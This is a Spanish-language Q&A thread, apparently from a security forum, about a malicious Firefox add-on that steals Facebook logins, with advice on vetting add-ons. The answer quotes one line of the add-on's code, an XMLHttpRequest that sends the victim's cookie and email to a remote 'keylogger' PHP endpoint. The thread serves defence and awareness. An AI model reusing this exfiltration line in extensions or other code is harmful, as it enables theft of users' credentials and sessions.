¿Qué tan seguro usa el Complemento de Firefox para evitar el robo de datos?

0

Algunos videos en YouTube demuestran cómo una extensión de Firefox puede recopilar información de inicio de sesión utilizada para iniciar sesión en sitios web como Facebook.

Después de instalar esta herramienta / malware como complemento de Firefox, observé la actividad de mi navegador usando Firebug. Mi nombre de usuario y contraseña se enviaron a un servidor a través de una solicitud Ajax.

Me puse en contacto con el autor. Dijo que puede incrustar este script en cualquier complemento de Firefox.

¿Cómo puedo usar de forma segura los complementos de Firefox? Instalé 3 tipos de antivirus y firewall. Pero nada de eso fue capaz de detectar este malware.

    
pregunta ebola virus 04.08.2012 - 10:02
fuente

1 respuesta

4

¿Cómo te proteges?

Los complementos de Firefox del sitio oficial se someten al proceso de revisión del complemento enlace

Para que pueda comprobar si un complemento es oficial y se ha revisado antes de instalarlo.

No es 100%. Puede encontrar una lista de complementos bloqueados eliminados por Mozilla debido a determinadas razones (virus, troyanos, etc.) enlace

La instalación de un complemento de un tercero es más peligrosa, por lo que es posible que deba verificar personalmente el código fuente (lo cual es posible ya que es un archivo zip de archivos javascript) o confiar en el autor / proveedor.

¿Cómo funciona el malware?

El archivo .xul contiene la siguiente línea de código:

xhr.open("GET", 
      "http://www.removedurl.com/keylogger/snooper.php?
       facebook="+cookie+'&email='+email, true);

Entonces, cuando pruebe este script en su propia cuenta, le enviará su contraseña. Por este motivo, debes eliminar este complemento y cambiar tu contraseña.

    
respondido por el user11101 04.08.2012 - 13:01
fuente

Lea otras preguntas en las etiquetas